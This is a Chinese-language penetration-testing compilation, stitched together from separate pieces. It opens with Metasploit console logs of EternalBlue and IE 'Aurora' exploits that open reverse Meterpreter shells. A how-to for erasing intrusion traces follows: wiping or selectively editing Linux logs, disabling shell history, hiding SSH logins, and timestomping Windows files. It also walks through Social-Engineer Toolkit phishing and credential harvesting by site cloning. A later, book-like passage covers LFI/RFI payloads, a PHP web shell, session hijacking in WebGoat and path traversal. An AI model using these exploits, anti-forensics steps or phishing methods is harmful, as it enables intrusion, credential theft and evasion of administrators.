[*] Sending stage (200774 bytes) to 192.168.0.158
[*] Meterpreter session 3 opened (192.168.0.150:4444 -> 192.168.0.158:49321) at 2022-06-28 14:13:48 +0800
[+] 192.168.0.158:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.0.158:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.0.158:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Session 3 created in the background.
msf6 exploit(windows/smb/ms17_010_eternalblue) > session -u 3
[-] Unknown command: session
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -u 3
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [3]
[*] Upgrading session ID: 3
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.0.150:4433
msf6 exploit(windows/smb/ms17_010_eternalblue) >
[*] Sending stage (200774 bytes) to 192.168.0.158
[*] Meterpreter session 4 opened (192.168.0.150:4433 -> 192.168.0.158:49325) at 2022-06-28 14:14:39 +0800
[*] Stopping exploit/multi/handler
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 4
[*] Starting interaction with 4...*/
meterpreter >
meterpreter > irb
[*] Starting IRB shell...
[*] You are in the "client" (session) object
irb: warn: can't alias kill from irb_kill.
>> fs.dir.pwd
=> "C:\\Windows\\system32"对IE浏览器激光漏洞进行渗透利用Windows XP
msf6 > use exploit/windows/browser/ms10_002_aurora
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/ms10_002_aurora) > show options
Module options (exploit/windows/browser/ms10_002_aurora):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.150 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/browser/ms10_002_aurora) > set SRVPORT 80
SRVPORT => 80
msf6 exploit(windows/browser/ms10_002_aurora) > set URIPATH /
URIPATH => /
msf6 exploit(windows/browser/ms10_002_aurora) > set lport 443
lport => 443
msf6 exploit(windows/browser/ms10_002_aurora) > exploit -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.150:443
[*] Using URL: http://192.168.0.150/
[*] Server started.
msf6 exploit(windows/browser/ms10_002_aurora) > [*] 192.168.0.106 ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption抹杀记录当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。WindowsPowerShell修改时间命令$(DATE) 表示当前日期和时间;$(Get-Date) 同$(DATE),表示当前日期和时间;$(Get-Date "MM/DD/YYYY HH24:MI:SS") 表示指定的日期和时间;$(Get-Item abc.txt) 表示获取文件的句柄;$(Get-Item abc.txt).creationtime 获取文件创建时间$(Get-Item abc.txt).lastaccesstime 获取文件最后访问时间$(Get-Item abc.txt).lastwritetime 获取文件修改时间 # 设置文件test.txt的时间为当前时间$(Get-Item abc.txt).creationtime=$(DATE)$(Get-Item abc.txt).lastaccesstime=$(DATE)$(Get-Item abc.txt).lastwritetime=$(DATE) # 设置文件abc.txt的时间为指定的某个时间$(Get-Item abc.txt).creationtime=$(Get-Date "11/04/2019 20:42:23")$(Get-Item abc.txt).lastaccesstime=$(Get-Date "11/04/2019 20:42:23")$(Get-Item abc.txt).lastwritetime=$(Get-Date "11/04/2019 20:42:23")其他记录清理“运行”中的历史记录开始菜单中的“运行”菜单里保存着我们通过它运行过的程序及所打开的文件路径与名称。进入注册表编辑器,找到HKEY_CURRENT_ USER\Sortware\Microsoft\Windows\Currentversion\Esploier\Runmru分支。从中选择不需要的或不想要别人看到的记录删除即可。清理“查找”中的历史记录(1)、清理查找计算机的历史记录进入注册表编辑器,找到HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5647分支,选择不需要的或是不想让别人看到的记录删除即可。(2)清理查找文件的历史记录进入注册表编辑器,找到HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5603分支,从中选择不需要的或是不想让别人看到的记录删除即可。清理“我最近的文档”中的历史记录在任务栏上右单击,打开“任务栏和开始菜单属性”对话框。单击“开始菜单”“自定义”“高级”,单击“清理”按钮即可清理最近访问过的全部文档。如图2。如果只想删除自己的记录,可以进入资源管理器中的“C:\Documentsnnd Settings\Adminnisyror(用户自己的帐号)\Recent”文件夹,删去自己不想要别人看到的文档即可。禁止显示上一次登录者的名称进入注册表编辑器,找到HKEY_ LOCAL_ MACHINE \ Software \ Microsoft \ windowsNT \ Currentversion \ Winlogin 分支,新建一个“DontDisplayLastUserName”的字符串值,并设为“1”,重新启动后,就再不会显示上次登录的用户名了,当需要显示上次登录的用户名时设为“0”即可。清理“回收站”在windows中简单地删除文件只是将文件转移到了“回收站”中,随时可以恢复查看。比较保险的做法是按住shift再点“删除”,或右击桌面上的“回收站”,选择“属性”,在“全局”选项卡中选择“所有驱动器均使用同一设置”,然后勾选下方的“删除时不将文件移回回收站,而是直接删除”,单击“确定”。清理剪切板中的记录剪贴板里有时会隐藏着我们太多的秘密,如果不关机就直接离开,下一个上机的人只要按一下Ctrl+V,刚才在剪贴板中的信息就被别人“盗取”了。无需研究如何清空剪贴板,只需用Ctrl+C再随便复制一段无关的内容,原来的内容就会被覆盖。清理TEMP文件夹中的记录许多应用程序通常会临时保存你的工作结果,离机前应删除被存放在C:\(系统安装盘符)Documents and Settings\Administrator(当前登录用户)\Local Settings\Temp目录下的临时文件。Linux修改文件时间戳
ls -l test.txt
# 修改文件的修改时间和访问时间
touch -d "2018-04-18 08:00:00" test.txt
touch -t 0101080000 test清除history历史命令记录#方法1
history # 查看历史操作命令(在Kali Linux下无效)
cat ~/.bash_history # history记录文件
vim ~/.bash_history
history –c#方法2使用vim打开一个文件vim test.txt
# 设置vim不记录命令,vim会将命令历史记录,保存在viminfo文件中。
:set history=0
:!command#方法3#通过修改配置文件/etc/profile,使系统不再保存命令记录。默认情况下历史命令将保存1000条,可以将该值改为0,然后保存并退出,最后重启系统使得配置文件生效。HISTSIZE=0#方法4#登录后执行下面命令,不记录历史命令(.bash_history)unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0#方法5仅在Kali Linux下rm -rf /root/.zsh_history清除系统日志痕迹/var/log/btmp 记录所有登录失败信息,使用lastb命令查看/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看/var/log/wtmp记录所有用户的登录、注销信息,使用last命令查看/var/log/utmp记录当前已经登录的用户信息,使用w,who,users等命令查看/var/log/secure 记录与安全相关的日志信息/var/log/message 记录系统启动后的信息和错误日志echo > /var/log/btmp:#清除登录系统失败的记录,查看用lastb命令echo > /var/log/wtmp:#清除登录系统成功的记录,查看用last命令echo > /var/log/lastlog:清除用户最后一次登录时间,查看用lastlog命令echo >/var/log/utmp:清除当前登录用户的信息,查看使用w,who,users等命令cat /dev/null >/var/log/secure:清除安全日志记录cat /dev/null >/var/log/message:清除系统日志记录echo > /var/log/secure //登录信息echo > /var/log/messagesecho>/var/log/syslog //记录系统日志的服务echo>/var/log/xferlogecho>/var/log/auth.logecho>/var/log/user.logcat /dev/null > /var/adm/sylogcat /dev/null > /var/log/maillogcat /dev/null > /var/log/openwebmail.logcat /dev/null > /var/log/mail.info清除系统日志痕迹#日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录IPsed -i '/自己的ip/'d test.txtsed -i '/192.168.1.2/'d test.txt# 全局替换登录IP地址:sed 's/要被取代的字串/新的字串/g'sed -i 's/192.168.1.1/192.168.1.2/g' test.txt隐藏远程SSH登录记录#隐身登录系统,不会被w、who、last等指令检测到。ssh -T root@192.168.0.1 /bin/bash -i#不记录ssh公钥在本地.ssh目录中ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –I清除Web入侵痕迹#直接替换日志ip地址sed -i 's/192.168.166.85/192.168.1.1/g' apache/logs/access.log#常见日志地址Apache%APATCH_HOME%//logs/access.log # 访问日志%APATCH_HOME%/logs/error.log # 错误日志Nginx%NHINX_HOME%/logs/access.log # 访问日志%NHINX_HOME%/logs/error.log # 错误日志Tomcat%TOMCAT_HOME%/logs/localhost_access_log.YYYY_MM_DD.txt # 请求日志%TOMCAT_HOME%/logs/catalina.YYYY_MM_DD.log # 启动日志%TOMCAT_HOME%/logs/localhost.YYYY_MM_DD.log # 本地日志%TOMCAT_HOME%/logs/host-manager.YYYY_MM_DD.log # manager管理日志%TOMCAT_HOME%/logs/manager.YYYY_MM_DD.log # manager专有日志清除MySQL痕迹rm ~/.mysql_history
cat /dev/null > ~/.mysql_history社会工程学
git clone https://github.com/trustedsec/social-engineer-toolkit/
setoolkit/
cd setoolkit
pip3 install -r requirements.txt
python setup.py
gedit /etc/setoolkit/set.config网络钓鱼攻击(Spear-Phishing Attack Vector)利用文件格式漏洞(如PDF)等生成后门并通过email(GMAIL,SENDMAIL,)向目标发送带后门附件的电子邮件,诱使目标打开附件激活后门。例子:#cd /usr/share/set
# ./setoolkit select from the menu
1) Social-Engineering Attacks
1) Perform a Mass Email Attack
3) Credential Harvester Attack Method
2) Site Cloner
…
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.0.150]: 192.168.0.150
set:webattack> Enter the url to clone: www.baidu.com
[*] Cloning the website: http://www.baidu.com
[*] This could take a little bit...
The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:WEB 方式攻击SET 可以克隆一个网站并植入后门以此迷惑目标打开此网站并中招。Java Applet 方式最成功的方式之一,并不是利用java 的漏洞,而是当目标浏览含后门的仿冒站点时会被询问是否允许执行web 中的java applet,一旦点击允许则payload 开始运行,目标将被重定向到真实的网站。用户端(Client-side)web exploit 方式利用用户端存在的软件漏洞,一般使用0day进行攻击的效果最好。账号密码获取(Username and Password Harvesting)通过克隆一个目标站并诱使攻击目标登陆,截获其账号密码。例如截获GMAIL 密码。标签页绑架(Tabnabbing):当目标打开多个标签页浏览网站并切换标签页时,网站侦测到目标的行为并显示让目标等待的信息,恰好目标打开了被绑架的标签页并要求在相似程度惊人的网站里输入登陆凭据,当目标输入之后登陆信息即被截获,同时被重定向到真实网站。中间人攻击(Man-Left-in-the-Middle)此方式使用已经被攻陷的网站的HTTP 请求或者网站的XSS 漏洞让用户的登陆信息发送至攻击者的HTTP 服务器。如果你发现了一个网站的XSS 漏洞,可以利用此漏洞构造一个URL发送给目标诱使其打开并登陆以截获登陆信息。Web Jacking当目标打开我们的网站时会有一个链接显示为正确的web 地址,此时若目标打开此仿冒链接会被定向到我们的仿冒网站,其登陆信息会被截获。混合模式(multi-attack)可同时使用以上多种攻击手段以提高成功率。介质感染攻击(Infectious Media Generator)可以让你生成一张光盘或者U盘,里面包含autorun.inf 来运行指定的后门文件或者file-format 漏洞文件。迷你USB 人机接口设备(Teensy USB HID)当电脑插入USB 设备且autorun.inf 被禁用时,可使用此方法将USB 设备模拟成一个键盘或鼠标设备,进而截获目标机器的击键记录。SET 其他特殊功能包括SET 交互式shell,可用来替代meterpreter;远程管理工具(RATTE);HTTP 隧道,当目标主机只开放HTTP 端口对外放行时可通过此功能与主机进行通信;WEB-GUI,包含了常用攻击和无线攻击向导,输入./set-web 即可运行。
新建 Microsoft Word 文档(下)
身份验证绕过暴力登录可能是一项繁琐且流程密集的任务,尤其是在测试硬件资源有限的情况下。绕过登录页面是一种可以提供即时访问的方法,无需付出额外的努力来尝试找出有效的用户名/密码组合。身份验证绕过攻击有多种方式:强制浏览SQL注入参数修改会话ID预测Web应用程序登录通常使用HTML登录表单页和会话令牌进行验证,会话令牌由服务器进行验证,该令牌可用于访问网站的其他内容。如果在访问受限页面时未显示有效令牌,则应提示用户进行身份验证。但是,如果Web应用程序仅在登录页上强制访问控制,而在站点上没有其他地方强制访问控制,则在未首先进行身份验证的情况下成功访问网站上的页面时,可以绕过身份验证模式。这种攻击方法称为强制浏览。在渗透式测试期间,您可以通过尝试访问受保护的页面来演示这种类型的攻击,以查看是否提示您进行身份验证或是否能够看到受限制的内容。SQL注入是另一种方法,恶意用户可以使用OR 1=1创建True语句,并将其传递到HTML表单页的用户名或密码字段中。如果应用程序没有清理用户提供的输入,则数据库可以读取该语句,并允许在没有登录所需的正确用户名或密码的情况下继续进行身份验证。注意:如果Web应用程序或数据库未进行验证,使用OR 1=1之类的True语句进行SQL注入可能会导致不好的结果。给定以下SQL语句:SELECT UserName,Password FROM Users WHERE ID =100 OR 1=1;SQL是有效的,将返回"Users"表中的每一行,因为OR 1=1始终为TRUE。攻击者只需在输入字段中插入100 OR 1=1,即可从数据库中访问每个凭据。参数修改是一种攻击方法,它利用Web应用程序的身份验证设计缺陷,根据固定参数验证成功登录。给定示例参数authenticated=no,该参数将通过对网站的HTTP GET请求进行检索,在进行身份验证之前,用户将无法从网站访问受限制的内容。要测试并查看是否可以修改参数,可以将原始参数更改为authenticated=yes,然后尝试访问页面上的受限内容。如果成功,该网页容易受到参数修改的影响。取消隐藏Web浏览器中的隐藏表单字段是绕过Web服务器上的访问控制的另一种方法。如果表单字段标记为隐藏,则不会在浏览器中呈现内容,例如网页上的管理功能。给定一个名为is Admin=0的隐藏字段,用户不会将Web应用程序标识为该应用程序的有效"Admin"。但是,如果您将字段修改为is Admin=1,并为页面发送另一个HTTP GET请求,而Web服务器未验证更改,则可能会允许显示页面内容,从而将您标识为应用程序的有效"管理员",而无需先正确验证访问权限。您可以使用Burp来利用这种类型的攻击,或者利用您最喜欢的Web浏览器(如Firefox、Chrome等)中可用的开发人员工具。可预测的会话令牌大多数Web框架设计为使用session token /cookie身份验证。基于会话的身份验证是有状态的,因此服务器和客户端都保留会话的记录。每次用户请求访问数据时,会话数据都会在查询中提交,并由服务器验证。Set-Cookie标头(例如:Set-Cookie: sessionID=ksirut8jsl219485a1f459f2siper5)包含在服务器对客户端的响应中,Cookie值存储在客户端的浏览器中。设置Cookie响应标头可以附带其他属性,以通知客户端浏览器如何处理Cookie,包括lHTTPOnly,这意味着无法通过JavaScript访问cookie,例如通过跨站点脚本(XSS)攻击窃取cookie。路径,用于定义cookie有效的URL。域,定义cookie有效的域(例如,example.com)。Expires,告诉浏览器在本地保存cookie以进行持久存储,并且浏览器将在到期日之前将其用于将来的请求。如果未设置,cookie仅在浏览器会话的生命周期内有效。安全,用于确保cookie永远不会通过非加密连接(如HTTP)传输。当恶意用户嗅探网络时,这有助于防止凭据被盗。当客户端向服务器发出后续请求时,cookie值将伴随每个请求。在某些情况下,渗透式测试可能需要对cookie进行反向工程,以确定cookie是如何生成或保护的。一些Web框架可能会对cookie进行签名或编码(即base64编码值),以混淆cookie并防止在传输过程中进行篡改。在第4章中,我们讨论了随机会话令牌的必要性,以帮助防止劫持合法会话。在开发人员使用自己的会话ID的情况下,如果没有将随机性和复杂性充分应用到等式中,则可以操纵cookie值来识别有效会话,这意味着应用程序可能容易受到暴力攻击。现在,让我们演示这种类型的攻击,以操纵cookie值从服务器窃取合法会话。我将使用OWASP WebGoat遗留项目(https://github.com/WebGoat/WebGoat-Legacy)并针对会话管理缺陷测试了"劫持会话"示例。攻击的第一部分将收集足够的cookie样本进行分析,以确定Web框架的cookie生成方案。然后,我们将创建一个有效的cookie(cookie操纵)来进行攻击。使用随机用户名和密码登录后,系统会告诉您使用了"无效用户名或密码"但是,该应用程序为您提供了另一个名为WEAKID的cookie,其值为WEAKID=17280-1531178283601。通过一点挖掘,我能够破译出cookie的第一部分17280是一个序列号,每次我销毁会话并尝试重新登录时,序列号都会增加一。cookie的第二部分似乎是以毫秒为单位的时间戳(根据文档)。在登录和注销了大约五次之后,我知道我无法那么容易地猜出数字。所以,我转向Burp Sequencer,它可以帮助生成足够的cookie值来猜测现有会话cookie。我截获了对应用程序的登录请求,然后将请求转发给Sequencer。在Sequencer中,选择了Cookie选项,如图9-5所示。图9-5 Burp Sequencer标记位置然后我单击了开始实时捕获按钮。在停止捕获过程之前,我一直等到获得了相当大的令牌样本。有了2000多个令牌后,我单击停止按钮停止捕获过程,然后单击保存令牌将令牌保存到一个文件中以进行脱机分析。然后,我回到Sequencer并单击手动加载选项卡。从这里,我使用Load按钮从刚刚保存的文件中加载了令牌,如图9-6所示。图9-6 Sequencer中样本令牌的手动加载从榜首开始,我立即注意到17283和17285之间的数字有差距。由于这一顺序的中断,我很确定已经为17284发行了一个令牌,而我的列表中没有这个令牌。我回Burp,把原来的登录会话转发给Repeater,在那里我可以操纵cookie值,试图劫持会话。在用丢失的令牌值测试了我的怀疑之后,我发现会话是有效的,并且根据服务器的响应消息,我成功地劫持了现有会话,如图9-7所示。9-7在Burp中劫持会话包含攻击在网页中加载任意内容的能力称为包含攻击。针对Web应用程序的文件包含攻击有两种类型:本地文件包含和远程文件包含。在PHP应用程序中,这些漏洞通常使用以下内置函数利用代码中的缺陷进行攻击:include()和require()。这些类型的攻击为攻击者提供了初始访问向量,并将有助于进一步攻击系统。远程和本地文件包含大多数Web应用程序框架(例如PHP)都支持文件包含。文件包含漏洞利用利用Web应用程序中的"动态文件包含"功能。有两种文件包含:本地(LFI)和远程(RFI)。本地文件包含包括Web根目录以外的文件,并将本地操作系统文件的内容呈现到浏览器窗口,例如密码文件example.php?page=../../../../etc/passwd.。在某些情况下,LFI可能导致远程代码执行。测试远程代码执行的一种方法是使用PHP包装器。PHP Expect包装器允许执行系统命令:示例example.php?page=expect://id;但是,默认情况下未启用Expect包装器。另一个PHP包装器是输入流,它允许您从请求体读取原始数据。对于HTTP POST消息,可以使用以下示例对本地操作系统执行命令:POST /example.php?page=php://input&cmd=id HTTP/1.1在消息正文中,您可以使用以下PHP代码,这些代码将通过PHP输入流进行读取和处理:cmd命令将通过shell_exec()函数执行,在本例中返回拥有Web服务器进程的用户的userid。远程文件包含允许在易受攻击的网页中显示文件甚至整个页面。如果HTTP请求中的参数可以更改为指向恶意位置,则Web应用程序可能容易受到RFI的影响,而RFI又可能允许恶意代码在服务器或客户端上运行(即恶意JavaScript窃取cookie数据)。RFI攻击示例如下所示:http://example.com/example.php?file=http://www.maliciousexample.com/malicious.php.LFI和RFI都是危险的方法,可以通过正确使用输入验证来缓解。利用Web应用程序糟糕的输入验证和内容控制的另一种方法是执行恶意文件上载。如果Web应用程序允许未经授权的用户上载文件并执行,攻击者可能会危害系统。支持各种Web脚本语言(如PHP)的Web服务器很容易成为后门程序的受害者。控制对文件上载位置的访问和控制支持的文件类型是缓解此类漏洞的方法。有时您只需要一个简单的PHP单行程序!图9-8提供了使用PHP Web shell执行Linux id命令的示例。用于开发Web shell的代码如下:图9-8恶意文件上传
<?php if (isset (REQUEST [cmd'])echo"<pre>";
$cmd (REQUEST [cmd']);
system($cmd);echo "</pre>";die;}
?>利用安全错误配置我认为,配置不当或缺乏良好安全卫生(如补丁管理)的Web应用程序服务器很可能成为攻击的目标,这并不奇怪。如第4章所述,产品供应商的默认账户密码通常可以在开源单词列表中找到,就像我们在本书中一直使用的那些密码一样,也可以在Kali Linux中的/usr/share/wordlist中找到。撰写本文时,CIRT密码列表(https://cirt.net/passwords)(CIRT是臭名昭著的Nikto Web应用程序扫描工具的开发人员)列出了500多家不同供应商使用的2080多个默认密码。这些账户用于初始设置和配置。大多数情况下,供应商会建议禁用该账户,或者至少更改默认密码。Apache Tomcat(http://tomcat.apache.org)是一种著名的开源产品,用于托管和部署基于Java的Web应用程序。在该软件的早期版本中,Tomcat Manager servlet(servlet是一个Java程序,它扩展了服务器的通信能力,例如接收消息和发送响应,主要使用HTTP)用于部署和管理这些应用程序。Tomcat是在启用了Manager应用程序的情况下发布的,还有一个众所周知的默认用户名和密码Tomcat/Tomcat。随着时间的推移,这些证书被使用和滥用,以损害组织系统;然而,为了缓解这种常见的威胁,Apache Tomcat开始在禁用Manager应用程序的情况下发布默认产品安装。至少在开箱即用的情况下,该产品更加安全,现在能够将其部署为软件即服务(SaaS)解决方案,开发人员和系统管理员应该不用担心安装缺陷。OWASP表明,攻击者通常会试图利用未修补的flaws/bugs、访问默认账户或未使用的网页、未受保护的文件和目录等,以获取未经授权的系统访问或知识。示例攻击场景可能是随应用程序一起安装的默认插件或账户/密码,访问控制不佳,无法访问Web根目录以外的文件(可公开访问的Web文件和目录所在的最顶层目录),甚至应用程序显示详细的错误消息(例如堆栈跟踪),这些错误消息可能会暴露可能存在已知漏洞的Web组件版本。在本节中,我们将介绍其中一些攻击方法,包括路径遍历、暴露敏感数据和弱访问控制。访问控制薄弱用户登录并通过身份验证后,应根据访问控制策略将Web服务器(或Web应用程序)配置为限制用户可以访问的内容。访问控制策略定义了如何根据最小权限规则管理和控制对资源的访问的要求。例如,Apache HTTP服务器根据主机名或IP地址限制对Web目录的访问,因为网站上的某些内容可能不供公众使用。在httpd.conf文件(Apache HTTP配置文件),可以应用以下限制以允许专用IP地址访问Web服务器上的受限文件夹,并且拒绝任何其他人:<Directory/htdocs/restricted/>
Order Deny,Allow
Deny from all
A11 owfrom10.1.0.0/16
</Directory>提示Apache HTTP服务器使用模块实现其中的某些功能。模块是服务器功能的扩展。例如,mod_authz_host模块可用于根据IP地址控制对服务器上目录、文件和位置的访问,而mod_ftp模块可用于允许用户使用ftp下载或上载文件。Apache在其核心发行版中包含许多模块;但是,它支持许多默认情况下未安装的其他组件。您可以在此处查看Apache HTTP服务器支持的模块列表:http://httpd.apache.org/modules.如果Web服务器缺少此级别的访问控制,任何浏览到/restricted文件夹内页面的用户都可以访问该内容。Apache需要考虑的另一件事是默认情况下启用目录索引(或目录浏览)。此功能类似于Unix中的ls命令或Windows中的dir命令。如果启用了目录浏览并且没有访问控制,攻击者就不必依赖暴力方法来派生网页和/或子目录。图9-9显示了/admin目录的目录索引示例。图9-9目录索引为了缓解这种情况,可以添加索引。您希望禁用目录浏览的目录中的html(如果html文件为空,攻击者将看到一个空白页面),或者您可以从给定目录或整个网站的Apache HTTP配置文件。用于控制内容显示的Web访问控制与控制Web应用程序中敏感对象或信息的不必要暴露同样重要。公开敏感数据在第5章中,我们讨论了SAST和DAST,这两种方法可以帮助识别应用程序中的代码开发缺陷。然而,在某些情况下,该缺陷可能不是编程错误,而是数据或信息如何受到保护的弱点。某些类型的信息,如密码、信用卡号码、社会安全号码、健康和隐私信息等,需要一定程度的保护。如前几章所述,加密是一种可以用来保护此类数据机密性的方法。然而,如果保护机制的实现被错误配置或不充分,那么针对该漏洞的攻击可能是灾难性的。OWASP为敏感数据泄露提供了三种攻击场景:l场景#1应用程序使用自动数据库加密对数据库中的信用卡号进行加密。然而,在检索时,这些数据会自动加密,从而允许SQL注入缺陷以明文形式检索信用卡号。l场景#2站点没有对所有页面使用或强制TLS或者它支持弱加密。攻击者监视网络流量(例如,在不安全的无线网络上),将连接从HTTPS降级为HTTP,拦截请求,并窃取用户的会话cookie。然后,攻击者重播此cookie并劫持用户(经过身份验证的)会话,访问或修改用户的私有数据,或者相反,攻击者可以更改所有传输的数据(例如,汇款的收件人)。l场景#3密码数据库使用非盐或简单哈希存储每个人的密码。文件上载漏洞允许攻击者检索密码数据库。所有未加盐的哈希都可以用一个彩虹表来显示预先计算的哈希。简单或快速散列函数生成的散列可能会被GPU破解,即使它们是咸的。敏感数据泄露还可能以错误消息或对内部函数的引用的形式出现,这些函数无意中揭示了请求的真实性质。这称为不安全的直接对象引用(IDOR)。例如,将数据库记录(如主键)公开为Web参数或URL中的引用对象。IDOR本身不是一个漏洞;但是,如果数据库或应用程序服务器缺乏适当的访问控制,则攻击者可能会推断出所引用对象的模式或模式。例如,如果通过Web参数直接调用外键值,则已通过系统身份验证的恶意用户可能会修改参数以访问其他用户配置文件的内容。为了演示,我使用了名为Goat Hills Financial Human Resources的OWASP Web Goat项目Web应用程序,并以用户Tom的身份登录以访问用户Eric的概要文件数据。使用Burp代理,我截获了操作视图概要文件的HTTP GET请求,以识别请求中传递的参数,如图9-10所示。图9-10截距IDOR参数我注意到参数employee_id=105,它看起来是一个直接的对象指针,对于用户Tom来说是唯一的。使用Burp Repeater,我修改了参数并重播了HTTP GET请求,但现在请求employee_id=104,以查看该字段是否为增量字段。提交请求后,我能够检索Eric的概要文件,如图9-11所示。图9-11修改IDOR参数如果IDOR参数已被隐藏或混淆,则会使此攻击更难成功,或者可能不太明显。无论如何,这个问题是访问控制不当的直接结果,最终依赖Web和数据库服务器来正确验证这些类型的请求。目录和路径遍历目录和路径遍历攻击是一种注入攻击形式,使恶意参与者能够通过使用快捷方式浏览Web服务器根文件夹之外的内容来访问通常不可用的内容。使用渗透式测试实验室网站提供的渗透式测试 ISO Web的目录遍历示例,我们可以演示这种类型的攻击。给定以下URL:http://192.168.1.108/dirtrav/example1.php?file=hacker.pngfile= parameter用于检索名为图像的hacker.png。如果我们看一下使这成为可能的PHP代码,我们可以了解幕后的情况:
$UploadDir ='C:\\xampp\\htdocs\\sec\16\\';
if ((!isset($_GET['file'])))
die();
$file = $_GET['file'];
$path =$UploadDir.$file;
if (!is_file($path))
die();
$handle = fopen($path,'rb');
do{
$data= fread($handle,8192);
if(strlen($data)==0){
Break;
}
echo($data);
}while(true);
fclose ($handle);
exit();
?>
http://127.0.0.1:8100/sec/16/example1.php?file=..\..\..\..\..\Windows\win.ini$UploadDir变量将操作系统上的绝对路径标识为'/var/www/files/',这是文件攻击的地方hacker.png位于。$file变量是用$_GET['file']方法定义的,该方法从file= parameter解析文件名。$path变量声明文件在服务器上应位于的完整路径。如果$路径不存在,则请求为null。然后$handle打开文件的路径以进行读取("rb")。do-while循环用于读取文件变量,最大块大小为8192字节。如果长度为0,则程序中断;否则,将读取文件内容并将其回显到Web浏览器。然后使用fclose()函数在退出程序之前关闭文件。那么,现在让我们测试参数是否容易受到路径遍历的攻击。为了测试这一点,我们可以使用以下/../../../../../etc/passwd代替hacker.png访问本地操作系统passwd文件,该文件通常不作为网页提供。正斜杠和点告诉Web操作遍历路径中的几个目录,就像终端窗口中的更改目录"cd"命令一样。但是,在Windows中,斜杠是反斜杠而不是正斜杠,用于分隔文件路径中的目录(例如,\..\..\..\C:\boot.ini)。在Windows中,目录分隔符("/"或"\")可以向前或向后。但是,在Unix中,它只能是正斜杠("/")。这意味着,在Windows中,要绕过或逃避仅在恶意请求中查找"/"的Web内容筛选器,可以使用其他目录分隔符。如图9-12所示,针对Unix目标的目录遍历攻击成功。图9-12带Burp的目录遍历提示:在测试路径遍历攻击时,可以使用多种变体。它主要是关于编码目录路径或启动正确的转义序列以打破典型的Web过滤器。为了绕过查找特殊字符(如正斜杠)的普通内容过滤器,攻击者可能会使用Unicode/UTF-8甚至URL编码,例如:%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2fect%2通过以实现相同的结果。路径遍历成功的原因是,没有程序逻辑阻止访问Web根目录以外的文件。减轻路径遍历的一种方法是在PHP代码中以$file变量为基础命名。这将返回$file的尾部name组件,任何访问$UploadDir之外的文件的尝试都将失败。下面是如何在代码中实现此功能的示例:$file = basename($_GET['file']);注意:表面上看,可能很难区分文件包含漏洞(LFI和RFI)和路径或目录遍历。主要区别在于,对于遍历攻击,您只能读取本地资源的内容(例如/etc/passwd),而通过包含文件,可以在应用程序的上下文中加载和执行资源,从而提供代码执行。客户端攻击在本章的大部分内容中,我们讨论了在服务器端利用的攻击。然而,当涉及到基于Web的攻击时,客户端也很容易成为目标。服务器内容(例如HTML和JavaScript)可能存在漏洞,可在受害者的Web浏览器或浏览器插件中加以利用。源代码始终可用,因为它是在客户端执行的。《OWASP测试指南》第4版第4.12章"客户端测试"为客户端指定了应用程序测试期间应评估的各种测试区域,包括以下攻击向量:跨站点脚本(XSS)HTML注入客户端URL重定向CSS注入客户端资源操作跨来源资源共享跨现场防水板(Cross-site flashing)点击劫持跨站点请求伪造在本节中,我们将介绍一些与CompTIA 